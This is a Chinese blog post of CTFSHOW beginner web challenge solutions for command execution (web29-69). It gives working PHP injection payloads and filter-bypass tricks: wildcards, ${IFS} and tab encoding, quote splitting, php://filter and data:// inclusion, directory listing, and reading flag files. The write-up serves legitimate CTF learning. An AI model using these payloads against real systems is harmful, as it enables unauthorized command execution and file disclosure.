CTFSHOW-WEB入门命令执行部分(持续更新)

命令执行

  • 0x01 web29
  • 0x02 web30
  • 0x03 web31
  • 0x04 web32-36
  • 0x05web 37-39
  • 0x06因实力不足 暂时跳过几题
  • 0x07 web42
  • 0x08 web43-web44
  • 0x09 web45
  • 0x10 web46
  • 0x11 web47-49
  • 0x12 web50
  • 0x13 web51
  • 0x14 web52
  • 0x15 web53
  • 0x16 web54
  • 0x17 web55
  • 0x18 临时跳过一部分
  • 0x19 web58-65
  • 0x20 web 66-67
  • 0x21 web68-69

0x01 web29

笔记记在了另一个博客里面
CTFSHOW-WEB入门命令执行部分(持续更新)_第1张图片
第一次学命令执行 看了各路大佬的wp以及讲解视频 才能勉强拿到flag
视频 我这里就不细写了 自己也是一知半解 就不丢人了
大概学了手反引号和通配符的知识 虽然利用通配符 比如?c=system("cat f*"); ?c=system("cat fl``ag.php");
听说还有more | less | head | sort | tail | sed | cut | awk | strings | od | curl这么多东西能绕过

0x02 web30

比29多过滤了system 那就用echo+反引号

1.?c=echo `cat f*`;
2.?c=echo `nl fl'ag'.p'hp'`;//nl与cat差不多一样

0x03 web31

又比上面多过滤了system和cat 还有空格 空格的绕过在笔记里我也记了
CTFSHOW-WEB入门命令执行部分(持续更新)_第2张图片
所以最终payload就是

?c=echo(`nl%09f*`);

0x04 web32-36

好像include通杀了 用到了php://filter伪协议 以及为什么要BASE64 不会的自己学 可以看别人某些代码审计题的wp 比如 极客大挑战 2019 Secret File 这种题 有大佬会详细解释这两个东西

/?c=include$_POST[a]?>
然后hackbar a=php://filter/read=convert.base64-encode/resource=flag.php

0x05web 37-39

用data协议通杀payload

?c=data://text/plain,<?= system("cat f*");?>

0x06因实力不足 暂时跳过几题

0x07 web42

CTFSHOW-WEB入门命令执行部分(持续更新)_第3张图片
直接给payload

1.?c=ls;
2.?c=cat f*;

这题不难 主要是记录一下这一串东西" >/dev/null 2>&1"第一次见 抄一下这个博客
以及参考博客

1、文件描述符 Linux系统预留可三个文件描述符:0、1和2,他们的意义如下所示:

bash 0——标准输入(stdin) 1——标准输出(stdout) 2——标准错误(stderr)
2、重定向 重定向的符号有两个:>或>>,两者的区别是:前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部。
3、Linux特殊文件 /dev/null是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃。因此,null这个设备通常也被称为位桶(bit
bucket)或黑洞。 所以,2>/dev/null的意思就是将标准错误stderr删掉。

0x08 web43-web44

CTFSHOW-WEB入门命令执行部分(持续更新)_第4张图片
过滤了分号以及cat命令 但是我们都知道有很多命令能用 这里我用的tac
44多过滤了个flag 但是我们都知道用*号通配符来绕过

payload:?c=tac f*%0a

这里附上一个博客里的 这个博客特别实用

一些命令分隔符:
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a

0x09 web45

比上题只多过滤了空格而已 我用的url编码%09绕过 还是这张图 payload懒得放了
CTFSHOW-WEB入门命令执行部分(持续更新)_第5张图片

0x10 web46

又多过滤了数字和 星号 坏了 但是我们还有其他的通配符 但是这里我用?试了半天没成 就直接用引号绕过了

?c=tac%09fla""g.p""hp%0a

0x11 web47-49

同上 通杀

0x12 web50

好像是%09不给绕了 换成<去当空格绕过

?c=tac<fla""g.p""hp%0a

0x13 web51

我最爱的tac无了 那就换nl 不过这样不是回显在页面上的 得查看源码

?c=nl<fl""ag.p""hp||

0x14 web52

用了hint的payload 不太明白
2021.3.4更新:明白了 flag.php里面的是假的 然后我们ls一下根目录 命令?c=ls${IFS}/||
然后发现是根目录下有flag 所以我们需要 去查看这个根目录下的文件 于是顺便试了下引号绕过

My payload:?c=ta%27%27c${IFS}/fla""g||
hint给的payload:?c=nl$IFS/fla''g||

0x15 web53

手机写的题 也是手机写的博客 所以直接上payload

?c=nl${
     IFS}fl''ag.p''hp%0a

0x16 web54

这题过滤的东西太多了 难顶 从自己笔记中找到了一个叫uniq的命令成功过了

payload:uniq${IFS}f???????

然后是官方给的payload 还向atao师傅请教了一下 为什么必须得有/bin

/bin/?at${IFS}f???????

我们知道cat命令的路径是/bin/cat 而通配符是去绝对路径中找文件 直接?at的话 是行不通的 不能用通配符直接来执行命令 但是用路径就行(好像具体是叫什么硬链接和软链接啥啥啥的)
atao师傅yyds

0x17 web55

过滤字母之后的我直接懵逼 只好去抄wp 看了Firebasky和bfengj 师傅 学到很多姿势

1.首先是/bin这个目录。

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod
df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

所以跟上一题一样 我们用?通配符去完成命令执行
由于过滤了字母 所以我们考虑用base64

payload:/???/????64 ????????

  1. 两篇博客都提到了P神的无字母数字webshell提高篇然后我也去学了一下(急事断更 明天补)
    (第二天了)等我了解一下那个上传post包我在更新

0x18 临时跳过一部分

0x19 web58-65

虽然说hint给的payload通杀 但是那就失去了学习的意义
就像群主讲解视频里面也是在不停的换新姿势 这样才能打好基础

c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');

web60 我用的是rename函数

c=rename("flag.php","flag.txt");   然后直接访问flag.txt就行

看了大佬的解法 发现有copy函数 用法与rename相同 接着在Y4的博客中学了许多姿势
注:web61开始rename和copy被ban了

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

先给出Y4的两条命令 这才叫炫技

1.c=$a=opendir('./');while(($file = readdir($a)) !=false){
     echo $file." ";}
2.c=print_r(scandir(current(localeconv())));

可以得到大概这样的
Array ( [0] => . [1] => … [2] => flag.php [3] => index.php )
然后payload:
我们知道current()返回当前值 flag.php是倒数第二个 所以就是reverse数组之后next一次
(当然喜欢正着来也行) 我只是学骚姿势

c=show_source(next(array_reverse(scandir(current(localeconv())))));

0x20 web 66-67

习惯性操作了一手 然后hhhCTFSHOW-WEB入门命令执行部分(持续更新)_第6张图片
system是被ban的 但是scandir没有
所以去看了一下目录 当前目录没东西 根目录下发现flag.txt
show_source也没了 用highlight_file

c=print_r(scandir('/'));
c=highlight_file('/flag.txt');

看大佬博客之后发现也可以利用文件包含

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');新学的

百度了一下 require_once()和require() 区别只是

require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。此行为和require()语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含

0x21 web68-69

奇怪的两题 进去index.php都无 尝试包含一下 报错

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried
to allocate 262144 bytes) in /var/www/html/index.php(17) : eval()'d
code on line 1

hint里面说的是 发现字节太大了 直接盲猜 c=include(’/flag.txt’)
抱着练习的心理 我们去尝试一下其他的 用上一题的payload看根目录 发现print_r没了
但是我们还有var_dump() 然后同上

WEB69
知识面不够用 var_dump()没了 我蒙了 百度一下替代的 有var_export()
去翻Y4的blog 又学到了 Y4师傅TQL

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){
     echo($f->__toString()." ");}

借助DirectoryIterator类去遍历目录 太秀了 大家可以自己去学一学 这边原本想细细解释的 然后懒了 去恰饭咯

你可能感兴趣的:(CTF学习)